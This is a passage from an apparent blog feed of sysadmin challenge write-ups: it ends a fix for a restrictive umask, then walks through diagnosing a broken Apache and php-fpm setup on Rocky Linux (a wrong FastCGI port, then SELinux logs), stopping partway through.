&lt;p&gt;But where is that set?&lt;/p&gt;
&lt;p&gt;The /etc/profile file sets the umask to 777, which is no permission at all:&lt;/p&gt;
&lt;pre class=&quot;language-bash&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;admin@i-038be5ca7a3896dec:~$ &lt;span class=&quot;token function&quot;&gt;tail&lt;/span&gt; /etc/profile

&lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-d&lt;/span&gt; /etc/profile.d &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;then&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token for-or-select variable&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;&lt;span class=&quot;token variable&quot;&gt;$(&lt;/span&gt;run-parts &lt;span class=&quot;token parameter variable&quot;&gt;--list&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;--regex&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;^[a-zA-Z0-9_][a-zA-Z0-9._-]*&#92;.sh$&#39;&lt;/span&gt; /etc/profile.d&lt;span class=&quot;token variable&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;do&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-r&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;$i&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;then&lt;/span&gt;
      &lt;span class=&quot;token builtin class-name&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;$i&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;fi&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;done&lt;/span&gt;
  &lt;span class=&quot;token builtin class-name&quot;&gt;unset&lt;/span&gt; i
&lt;span class=&quot;token keyword&quot;&gt;fi&lt;/span&gt;
&lt;span class=&quot;token builtin class-name&quot;&gt;umask&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;777&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We need to fix that umask value, at least for the admin user. We could simply call &lt;code&gt;umask &amp;lt;mask&amp;gt;&lt;/code&gt;, but that would only work for our current session and not, like it&#39;s explained in the instructions, in a new shell/login for the admin user.&lt;/p&gt;
&lt;p&gt;What we can do is change the umask in a file loaded during a login session, like &lt;code&gt;~/.profile&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;But what umask value do we need? The usual default is 022, which gives 644 for files and 755 for directories, according to this &lt;a href=&quot;https://gist.github.com/magnetikonline/2edccbafecbea9726488c05afa866664&quot;&gt;umask table&lt;/a&gt;&lt;/p&gt;
&lt;pre class=&quot;language-bash&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;umask 022&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&gt;&gt;&lt;/span&gt; ~/.profile&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And voilà! 🚩 A new interactive login shell will load the admin&#39;s profile file and get the right permissions.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Marseille - Advent of Sysadmin 2025</title>
    <link href="https://jrb.nz/posts/sadservers-advent-marseille/" />
    <updated>2025-12-02T00:00:00Z</updated>
    <id>https://jrb.nz/posts/sadservers-advent-marseille/</id>
    <content type="html">&lt;blockquote&gt;
&lt;p&gt;This is part of Sad Servers&#39; &lt;a href=&quot;https://sadservers.com/advent&quot;&gt;Advent of Sysadmin 2025&lt;/a&gt; series.&lt;/p&gt;
&lt;p&gt;I&#39;m doing each challenge every day and I&#39;m publishing a quick write up for each one every day.&lt;/p&gt;
&lt;p&gt;Spoiler alert! This gives the solution to the challenge.
If you want to do it on your own, stop reading.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;details&gt;
  &lt;summary&gt;Challenge details&lt;/summary&gt;
&lt;p&gt;&lt;strong&gt;Scenario:&lt;/strong&gt; &amp;quot;Marseille&amp;quot;: Rocky security&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Level:&lt;/strong&gt; Medium&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Type:&lt;/strong&gt; Fix&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Tags:&lt;/strong&gt; &lt;a href=&quot;https://sadservers.com/tag/apache&quot;&gt;apache&lt;/a&gt;   &lt;a href=&quot;https://sadservers.com/tag/php&quot;&gt;php&lt;/a&gt;   &lt;a href=&quot;https://sadservers.com/tag/advent2025&quot;&gt;advent2025&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Access:&lt;/strong&gt; Email&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt; As the Christmas shopping season approaches, the security team has asked Mary and John to implement more security measures. Unfortunately, this time they have broken the LAMP stack; the frontend is unable get an answer from upstream, thus they need your help again to fix it.&lt;/p&gt;
&lt;p&gt;The application should be able to serve the content from the webserver.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Note for Pro users:&lt;/strong&gt; direct SSH access is not available (yet) for this scenario.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Root (sudo) Access:&lt;/strong&gt; True&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Test:&lt;/strong&gt; curl localhost | head -n1 returns SadServers - LAMP Stack&lt;/p&gt;
&lt;p&gt;The &amp;quot;Check My Solution&amp;quot; button runs the script &lt;em&gt;/home/admin/agent/check.sh&lt;/em&gt;, which you can see and execute.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Time to Solve:&lt;/strong&gt; 15 minutes.&lt;/p&gt;
&lt;/details&gt;
&lt;hr&gt;
&lt;p&gt;This one took me a bit more time than usual. Let&#39;s start from the beginning. What do we know?&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;We have a frontend and some kind of upstream server&lt;/li&gt;
&lt;li&gt;It&#39;s a &lt;a href=&quot;https://en.wikipedia.org/wiki/LAMP_(software_bundle)&quot;&gt;LAMP stack&lt;/a&gt; - probably apache and php from looking at the tags&lt;/li&gt;
&lt;li&gt;The name of the challenge points toward something about the security on Rocky linux&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Let&#39;s see what&#39;s running on the machine:&lt;/p&gt;
&lt;pre class=&quot;language-bash&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;sudo&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;netstat&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-anp&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-E&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;php|httpd&quot;&lt;/span&gt;
tcp        &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;      &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;127.0&lt;/span&gt;.0.1:9000          &lt;span class=&quot;token number&quot;&gt;0.0&lt;/span&gt;.0.0:*               LISTEN      &lt;span class=&quot;token number&quot;&gt;934&lt;/span&gt;/php-fpm: master
tcp6       &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;      &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt; :::80                   :::*                    LISTEN      &lt;span class=&quot;token number&quot;&gt;966&lt;/span&gt;/httpd
unix  &lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;      &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;         STREAM     CONNECTED     &lt;span class=&quot;token number&quot;&gt;9946&lt;/span&gt;     &lt;span class=&quot;token number&quot;&gt;966&lt;/span&gt;/httpd
unix  &lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;      &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;         STREAM     CONNECTED     &lt;span class=&quot;token number&quot;&gt;10037&lt;/span&gt;    &lt;span class=&quot;token number&quot;&gt;934&lt;/span&gt;/php-fpm: master
unix  &lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;      &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;         STREAM     CONNECTED     &lt;span class=&quot;token number&quot;&gt;10036&lt;/span&gt;    &lt;span class=&quot;token number&quot;&gt;934&lt;/span&gt;/php-fpm: master
unix  &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;      &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt; ACC &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;     STREAM     LISTENING     &lt;span class=&quot;token number&quot;&gt;10250&lt;/span&gt;    &lt;span class=&quot;token number&quot;&gt;993&lt;/span&gt;/httpd            /etc/httpd/run/cgisock.966
unix  &lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;      &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;         STREAM     CONNECTED     &lt;span class=&quot;token number&quot;&gt;9085&lt;/span&gt;     &lt;span class=&quot;token number&quot;&gt;934&lt;/span&gt;/php-fpm: master
unix  &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;      &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;         DGRAM                    &lt;span class=&quot;token number&quot;&gt;10249&lt;/span&gt;    &lt;span class=&quot;token number&quot;&gt;966&lt;/span&gt;/httpd&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So as we see here, we have apache and php-fpm running. apache is listening on port 80 and php-fpm on port 9000.&lt;/p&gt;
&lt;p&gt;They are both running as systemd services:&lt;/p&gt;
&lt;pre class=&quot;language-bash&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;admin@i-0e0450878ee67b460 ~&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;$ &lt;span class=&quot;token function&quot;&gt;ps&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-eo&lt;/span&gt; pid,comm,cgroup &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-E&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;php|httpd&quot;&lt;/span&gt;
    &lt;span class=&quot;token number&quot;&gt;934&lt;/span&gt; php-fpm         &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;::/system.slice/php-fpm.service
    &lt;span class=&quot;token number&quot;&gt;966&lt;/span&gt; httpd           &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;::/system.slice/httpd.service
    &lt;span class=&quot;token number&quot;&gt;988&lt;/span&gt; php-fpm         &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;::/system.slice/php-fpm.service
    &lt;span class=&quot;token number&quot;&gt;989&lt;/span&gt; php-fpm         &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;::/system.slice/php-fpm.service
    &lt;span class=&quot;token number&quot;&gt;990&lt;/span&gt; php-fpm         &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;::/system.slice/php-fpm.service
    &lt;span class=&quot;token number&quot;&gt;991&lt;/span&gt; php-fpm         &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;::/system.slice/php-fpm.service
    &lt;span class=&quot;token number&quot;&gt;992&lt;/span&gt; php-fpm         &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;::/system.slice/php-fpm.service
    &lt;span class=&quot;token number&quot;&gt;993&lt;/span&gt; httpd           &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;::/system.slice/httpd.service
    &lt;span class=&quot;token number&quot;&gt;994&lt;/span&gt; httpd           &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;::/system.slice/httpd.service
    &lt;span class=&quot;token number&quot;&gt;995&lt;/span&gt; httpd           &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;::/system.slice/httpd.service
   &lt;span class=&quot;token number&quot;&gt;1028&lt;/span&gt; httpd           &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;::/system.slice/httpd.service&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;What do we get when poking those services?&lt;/p&gt;
&lt;pre class=&quot;language-bash&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;admin@i-0e0450878ee67b460 ~&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;$ &lt;span class=&quot;token function&quot;&gt;curl&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-v&lt;/span&gt; localhost
* Host localhost:80 was resolved.
* IPv6: ::1
* IPv4: &lt;span class=&quot;token number&quot;&gt;127.0&lt;/span&gt;.0.1
*   Trying &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;::1&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;:80&lt;span class=&quot;token punctuation&quot;&gt;..&lt;/span&gt;.
* connect to ::1 port &lt;span class=&quot;token number&quot;&gt;80&lt;/span&gt; from ::1 port &lt;span class=&quot;token number&quot;&gt;45164&lt;/span&gt; failed: Connection refused
*   Trying &lt;span class=&quot;token number&quot;&gt;127.0&lt;/span&gt;.0.1:80&lt;span class=&quot;token punctuation&quot;&gt;..&lt;/span&gt;.
* connect to &lt;span class=&quot;token number&quot;&gt;127.0&lt;/span&gt;.0.1 port &lt;span class=&quot;token number&quot;&gt;80&lt;/span&gt; from &lt;span class=&quot;token number&quot;&gt;127.0&lt;/span&gt;.0.1 port &lt;span class=&quot;token number&quot;&gt;48662&lt;/span&gt; failed: Connection refused
* Failed to connect to localhost port &lt;span class=&quot;token number&quot;&gt;80&lt;/span&gt; after &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt; ms: Could not connect to server
* closing connection &lt;span class=&quot;token comment&quot;&gt;#0&lt;/span&gt;
curl: &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;7&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; Failed to connect to localhost port &lt;span class=&quot;token number&quot;&gt;80&lt;/span&gt; after &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt; ms: Could not connect to server

&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;admin@i-0e0450878ee67b460 ~&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;$ &lt;span class=&quot;token function&quot;&gt;curl&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-v&lt;/span&gt; localhost:9000
* Host localhost:9000 was resolved.
* IPv6: ::1
* IPv4: &lt;span class=&quot;token number&quot;&gt;127.0&lt;/span&gt;.0.1
*   Trying &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;::1&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;:9000&lt;span class=&quot;token punctuation&quot;&gt;..&lt;/span&gt;.
* connect to ::1 port &lt;span class=&quot;token number&quot;&gt;9000&lt;/span&gt; from ::1 port &lt;span class=&quot;token number&quot;&gt;43394&lt;/span&gt; failed: Connection refused
*   Trying &lt;span class=&quot;token number&quot;&gt;127.0&lt;/span&gt;.0.1:9000&lt;span class=&quot;token punctuation&quot;&gt;..&lt;/span&gt;.
* Connected to localhost &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;127.0&lt;/span&gt;.0.1&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; port &lt;span class=&quot;token number&quot;&gt;9000&lt;/span&gt;
* using HTTP/1.x
&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt; GET / HTTP/1.1
&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt; Host: localhost:9000
&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt; User-Agent: curl/8.12.1
&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt; Accept: */*
&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
* Request completely sent off
* Recv failure: Connection reset by peer
* closing connection &lt;span class=&quot;token comment&quot;&gt;#0&lt;/span&gt;
curl: &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;56&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; Recv failure: Connection reset by peer&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Both returns a connection refused. Let&#39;s look at the configuration files.&lt;/p&gt;
&lt;p&gt;Going through &lt;code&gt;/etc/&lt;/code&gt;, I found the defaults config file for apache:&lt;/p&gt;
&lt;pre class=&quot;language-bash&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;admin@i-0e0450878ee67b460 ~&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;$ &lt;span class=&quot;token function&quot;&gt;ls&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-lah&lt;/span&gt; /etc/httpd/conf.d/
total 24K
drwxr-xr-x. &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt; root root  &lt;span class=&quot;token number&quot;&gt;122&lt;/span&gt; Dec  &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt; 02:52 &lt;span class=&quot;token builtin class-name&quot;&gt;.&lt;/span&gt;
drwxr-xr-x. &lt;span class=&quot;token number&quot;&gt;5&lt;/span&gt; root root  &lt;span class=&quot;token number&quot;&gt;105&lt;/span&gt; Dec  &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt; 02:52 &lt;span class=&quot;token punctuation&quot;&gt;..&lt;/span&gt;
-rw-r--r--. &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt; root root  &lt;span class=&quot;token number&quot;&gt;157&lt;/span&gt; Dec  &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt; 02:52 000-default.conf
-rw-r--r--. &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt; root root &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;.9K Aug &lt;span class=&quot;token number&quot;&gt;16&lt;/span&gt; 00:00 autoindex.conf
-rw-r--r--. &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt; root root &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;.6K Apr  &lt;span class=&quot;token number&quot;&gt;9&lt;/span&gt;  &lt;span class=&quot;token number&quot;&gt;2025&lt;/span&gt; php.conf
-rw-r--r--. &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt; root root  &lt;span class=&quot;token number&quot;&gt;400&lt;/span&gt; Aug &lt;span class=&quot;token number&quot;&gt;16&lt;/span&gt; 00:00 README
-rw-r--r--. &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt; root root &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;.3K Aug &lt;span class=&quot;token number&quot;&gt;16&lt;/span&gt; 00:00 userdir.conf
-rw-r--r--. &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt; root root  &lt;span class=&quot;token number&quot;&gt;653&lt;/span&gt; Aug &lt;span class=&quot;token number&quot;&gt;16&lt;/span&gt; 00:00 welcome.conf

&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;admin@i-0e0450878ee67b460 ~&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;$ &lt;span class=&quot;token function&quot;&gt;cat&lt;/span&gt; /etc/httpd/conf.d/000-default.conf
&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;VirtualHost *:8&lt;span class=&quot;token operator&quot;&gt;&lt;span class=&quot;token file-descriptor important&quot;&gt;0&lt;/span&gt;&gt;&lt;/span&gt;
    DocumentRoot /var/www/html

    &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;FilesMatch &lt;span class=&quot;token punctuation&quot;&gt;&#92;&lt;/span&gt;.php$&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
        SetHandler &lt;span class=&quot;token string&quot;&gt;&quot;proxy:fcgi://127.0.0.1:9001&quot;&lt;/span&gt;
    &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;/FilesMatch&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;/VirtualHost&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;There, I spotted the issue with the port: 9001 is not the right php port! It should be 9000.&lt;/p&gt;
&lt;p&gt;Let me fix it:&lt;/p&gt;
&lt;pre class=&quot;language-bash&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;vi&lt;/span&gt; /etc/httpd/conf.d/000-default.conf
&lt;span class=&quot;token comment&quot;&gt;# Change this line:&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;#   SetHandler &quot;proxy:fcgi://127.0.0.1:9001&quot;&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# To:&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;#   SetHandler &quot;proxy:fcgi://127.0.0.1:9000&quot;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Restart apache for changes to take effect&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;sudo&lt;/span&gt; systemctl restart httpd&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then, the frontend was returning something else!&lt;/p&gt;
&lt;pre class=&quot;language-bash&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;admin@i-0e0450878ee67b460 ~&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;$ &lt;span class=&quot;token function&quot;&gt;curl&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-v&lt;/span&gt; localhost
* Host localhost:80 was resolved.
* IPv6: ::1
* IPv4: &lt;span class=&quot;token number&quot;&gt;127.0&lt;/span&gt;.0.1
*   Trying &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;::1&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;:80&lt;span class=&quot;token punctuation&quot;&gt;..&lt;/span&gt;.
* Connected to localhost &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;::1&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; port &lt;span class=&quot;token number&quot;&gt;80&lt;/span&gt;
* using HTTP/1.x
&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt; GET / HTTP/1.1
&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt; Host: localhost
&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt; User-Agent: curl/8.12.1
&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt; Accept: */*
&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
* Request completely sent off
&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; HTTP/1.1 &lt;span class=&quot;token number&quot;&gt;503&lt;/span&gt; Service Unavailable
&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; Date: Tue, 09 Dec &lt;span class=&quot;token number&quot;&gt;2025&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;21&lt;/span&gt;:02:54 GMT
&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; Server: Apache/2.4.63 &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;Rocky Linux&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; Content-Length: &lt;span class=&quot;token number&quot;&gt;299&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; Connection: close
&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; Content-Type: text/html&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;charset&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;iso-8859-1
&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;DOCTYPE HTML PUBLIC &lt;span class=&quot;token string&quot;&gt;&quot;-//IETF//DTD HTML 2.0//EN&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;html&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;head&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;title&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;503&lt;/span&gt; Service Unavailable&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;/title&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;/head&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;body&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;h&lt;span class=&quot;token operator&quot;&gt;&lt;span class=&quot;token file-descriptor important&quot;&gt;1&lt;/span&gt;&gt;&lt;/span&gt;Service Unavailable&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;/h&lt;span class=&quot;token operator&quot;&gt;&lt;span class=&quot;token file-descriptor important&quot;&gt;1&lt;/span&gt;&gt;&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;p&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;The server is temporarily unable to &lt;span class=&quot;token function&quot;&gt;service&lt;/span&gt; your
request due to maintenance downtime or capacity
problems. Please try again later.&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;/p&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;/body&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;/html&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
* shutting down connection &lt;span class=&quot;token comment&quot;&gt;#0&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Interestingly, we actually get a response back. Still, a 503, but better than what we had when we started!&lt;/p&gt;
&lt;p&gt;This is where it took me some digging to find the next issue. I was not super familiar with Rocky linux. I ended up reading a lot on &lt;a href=&quot;https://docs.rockylinux.org/10/guides/security/learning_selinux/&quot;&gt;SELinux Security - Documentation&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I grep&#39;ed some logs in &lt;code&gt;/var/log/audit/audit.log&lt;/code&gt;, looking for anything related to httpd.&lt;/p&gt;
&lt;pre class=&quot;language-bash&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;admin@i-0e0450878ee67b460 ~&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;$ &lt;span class=&quot;token function&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;httpd&quot;&lt;/span&gt; /var/log/audit/audit.log
